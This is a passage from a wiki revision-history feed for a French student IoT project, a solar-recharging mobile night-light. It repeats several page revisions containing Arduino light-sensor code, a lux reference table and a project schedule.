 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46730</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46730"/>
				<updated>2018-01-13T21:02:54Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | - Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Code pour le capteur de luminosité:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les valeurs en retour:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Illuminance 	              Example&lt;br /&gt;
0.002 lux 	        Moonless clear night sky&lt;br /&gt;
0.2 lux 	        Design minimum for emergency lighting (AS2293).&lt;br /&gt;
0.27 - 1 lux 	        Full moon on a clear night&lt;br /&gt;
3.4 lux 	        Dark limit of civil twilight under a clear sky&lt;br /&gt;
50 lux 	                Family living room&lt;br /&gt;
80 lux 	                Hallway/toilet&lt;br /&gt;
100 lux 	        Very dark overcast day&lt;br /&gt;
300 - 500 lux 	        Sunrise or sunset on a clear day. Well-lit office area.&lt;br /&gt;
1,000 lux 	        Overcast day; typical TV studio lighting&lt;br /&gt;
10,000 - 25,000  lux 	Full daylight (not direct sun)&lt;br /&gt;
32,000 - 130,000 lux 	Direct sunlight&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | &lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | &lt;br /&gt;
 | &lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46729</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46729"/>
				<updated>2018-01-13T20:58:36Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | - Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Code pour le capteur de luminosité:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les valeurs en retour:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Illuminance 	              Example&lt;br /&gt;
0.002 lux 	        Moonless clear night sky&lt;br /&gt;
0.2 lux 	        Design minimum for emergency lighting (AS2293).&lt;br /&gt;
0.27 - 1 lux 	        Full moon on a clear night&lt;br /&gt;
3.4 lux 	        Dark limit of civil twilight under a clear sky&lt;br /&gt;
50 lux 	                Family living room&lt;br /&gt;
80 lux 	                Hallway/toilet&lt;br /&gt;
100 lux 	        Very dark overcast day&lt;br /&gt;
300 - 500 lux 	        Sunrise or sunset on a clear day. Well-lit office area.&lt;br /&gt;
1,000 lux 	        Overcast day; typical TV studio lighting&lt;br /&gt;
10,000 - 25,000  lux 	Full daylight (not direct sun)&lt;br /&gt;
32,000 - 130,000 lux 	Direct sunlight&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46728</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46728"/>
				<updated>2018-01-10T12:14:49Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Présentation du sujet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce (une ligne droite entre deux murs ou deux obstacles) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* capteur de lumière&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité : - Formation des groupes&lt;br /&gt;
- Chercher un sujet&lt;br /&gt;
- Le faire valider&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Code pour le capteur de luminosité:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les valeurs en retour:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Illuminance 	              Example&lt;br /&gt;
0.002 lux 	        Moonless clear night sky&lt;br /&gt;
0.2 lux 	        Design minimum for emergency lighting (AS2293).&lt;br /&gt;
0.27 - 1 lux 	        Full moon on a clear night&lt;br /&gt;
3.4 lux 	        Dark limit of civil twilight under a clear sky&lt;br /&gt;
50 lux 	                Family living room&lt;br /&gt;
80 lux 	                Hallway/toilet&lt;br /&gt;
100 lux 	        Very dark overcast day&lt;br /&gt;
300 - 500 lux 	        Sunrise or sunset on a clear day. Well-lit office area.&lt;br /&gt;
1,000 lux 	        Overcast day; typical TV studio lighting&lt;br /&gt;
10,000 - 25,000  lux 	Full daylight (not direct sun)&lt;br /&gt;
32,000 - 130,000 lux 	Direct sunlight&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
